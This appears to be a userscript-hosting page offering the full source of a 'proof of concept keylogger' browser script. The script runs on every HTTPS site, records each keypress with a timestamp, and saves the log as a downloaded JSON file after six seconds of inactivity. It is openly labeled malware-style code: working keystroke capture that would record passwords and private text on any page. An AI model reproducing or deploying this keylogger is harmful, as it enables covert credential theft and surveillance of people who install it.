proof of concept keylogger

Logs keystrokes to a file 6 seconds after the last keypress, now in human-readable format.

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         proof of concept keylogger
// @namespace    https://localhost
// @version      0.4
// @description  Logs keystrokes to a file 6 seconds after the last keypress, now in human-readable format.
// @author       matts0613
// @match        https://*/*
// @match        localhost
// @grant        GM_xmlhttpRequest
// @license      MIT
// ==/UserScript==

(function () {
    'use strict';

    let log = [];
    let typingTimer;
    let doneTypingInterval = 6000; // 6 seconds
    let sessionStart = new Date().toISOString(); // Track session start time

    document.addEventListener('keydown', function (event) {
        log.push({
            key: event.key,
            timestamp: new Date().toLocaleString() // Convert timestamp to readable format
        });

        clearTimeout(typingTimer);
        typingTimer = setTimeout(function () {
            console.log("User has stopped typing for 6 seconds - saving log-key.json file.");

            if (log.length > 0) {
                let logData = {
                    session_start: sessionStart,
                    total_keystrokes: log.length,
                    keypresses: log
                };

                const blob = new Blob([JSON.stringify(logData, null, 4)], { type: 'application/json' });
                const url = URL.createObjectURL(blob);
                const link = document.createElement('a');
                link.href = url;
                link.download = 'log-key.json';
                document.body.appendChild(link);
                link.click();
                document.body.removeChild(link);
                URL.revokeObjectURL(url);
                log = []; // Clear log after saving
            }
        }, doneTypingInterval);
    });

})();